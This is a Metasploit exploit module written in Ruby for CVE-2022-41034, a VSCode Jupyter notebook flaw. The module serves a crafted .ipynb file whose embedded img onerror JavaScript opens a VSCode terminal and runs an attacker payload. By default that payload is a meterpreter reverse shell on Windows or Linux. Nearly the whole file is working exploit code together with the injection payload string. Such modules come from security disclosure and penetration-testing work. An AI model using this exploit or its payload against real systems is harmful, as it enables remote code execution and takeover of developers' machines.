133 lines
4.2 KiB
Ruby
133 lines
4.2 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpServer
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'VSCode ipynb Remote Development RCE',
|
|
'Description' => %q{
|
|
VSCode when opening an Jupyter notebook (.ipynb) file bypasses the trust model.
|
|
On versions v1.4.0 - v1.71.1, its possible for the Jupyter notebook to embed
|
|
HTML and javascript, which can then open new terminal windows within VSCode.
|
|
Each of these new windows can then execute arbitrary code at startup.
|
|
|
|
During testing, the first open of the Jupyter notebook resulted in pop-ups
|
|
displaying errors of unable to find the payload exe file. The second attempt
|
|
at opening the Jupyter notebook would result in successful exeuction.
|
|
|
|
Successfully tested against VSCode 1.70.2 on Windows 10.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'h00die', # metasploit module
|
|
'Zemnmez'
|
|
],
|
|
'References' => [
|
|
['URL', 'https://github.com/google/security-research/security/advisories/GHSA-pw56-c55x-cm9m'],
|
|
['CVE', '2022-41034'],
|
|
['URL', 'https://github.com/andyhsu024/CVE-2022-41034']
|
|
],
|
|
'DisclosureDate' => '2022-11-22',
|
|
'Privileged' => false,
|
|
'Arch' => ARCH_CMD,
|
|
'Stance' => Stance::Aggressive,
|
|
'Payload' => { 'BadChars' => '&"' },
|
|
'Targets' => [
|
|
[
|
|
'Windows',
|
|
{
|
|
'Platform' => 'win',
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp'
|
|
}
|
|
|
|
}
|
|
],
|
|
[
|
|
'Linux File-Dropper',
|
|
{
|
|
'Platform' => 'linux',
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
|
|
}
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DefaultOptions' => {
|
|
'WfsDelay' => 3_600, # 1hr
|
|
'URIPATH' => 'project.ipynb'
|
|
},
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
# on windows it will say the final payload can't be found
|
|
# however, it is, seems to be a timing issue, 2nd exploit attempt
|
|
# works perfectly
|
|
'Reliability' => [REPEATABLE_SESSION, FIRST_ATTEMPT_FAIL],
|
|
'SideEffects' => [SCREEN_EFFECTS]
|
|
}
|
|
)
|
|
)
|
|
register_options(
|
|
[
|
|
OptString.new('PAYLOAD_FILENAME', [ false, 'Name of the payload file - only required when exploiting on Linux.', 'shell.sh' ]),
|
|
OptString.new('WRITABLE_DIR', [ false, 'Name of the writable directory containing the payload file - required when exploiting on Linux .', '/tmp/' ]),
|
|
]
|
|
)
|
|
end
|
|
|
|
def check
|
|
CheckCode::Unsupported
|
|
end
|
|
|
|
def exploit
|
|
unless datastore['URIPATH'].end_with? '.ipynb'
|
|
fail_with(Failure::BadConfig, 'URIPATH must end in .ipynb for exploit to be successful')
|
|
end
|
|
print_status('Starting up web service...')
|
|
start_service
|
|
sleep(datastore['WFSDELAY'])
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
super unless request.uri.end_with? datastore['URIPATH']
|
|
|
|
if target['Platform'] == 'win'
|
|
config = { 'executable' => 'cmd.exe', 'args' => "/c #{payload.raw}" }
|
|
else
|
|
config = { 'executable' => "/#{datastore['WRITABLE_DIR']}/#{datastore['PAYLOAD_FILENAME']}" }
|
|
end
|
|
|
|
pload = JSON.dump({ 'config' => config })
|
|
pload = CGI.escape(pload).gsub('+', '%20') # XXX not sure if this is needed or not, but it works
|
|
|
|
ipynb = %|{
|
|
"cells": [
|
|
{
|
|
"cell_type": "markdown",
|
|
"metadata": {},
|
|
"source": [
|
|
"<img src=a onerror=\\"let q = document.createElement('a');q.href='command:workbench.action.terminal.new?#{pload}';document.body.appendChild(q);q.click()\\"/>"
|
|
]
|
|
}
|
|
]}|
|
|
|
|
send_response(cli, ipynb, {
|
|
'Connection' => 'close',
|
|
'Pragma' => 'no-cache',
|
|
'Access-Control-Allow-Origin' => '*'
|
|
})
|
|
|
|
print_status("Sent #{datastore['URIPATH']} to #{cli.peerhost}")
|
|
end
|
|
|
|
end
|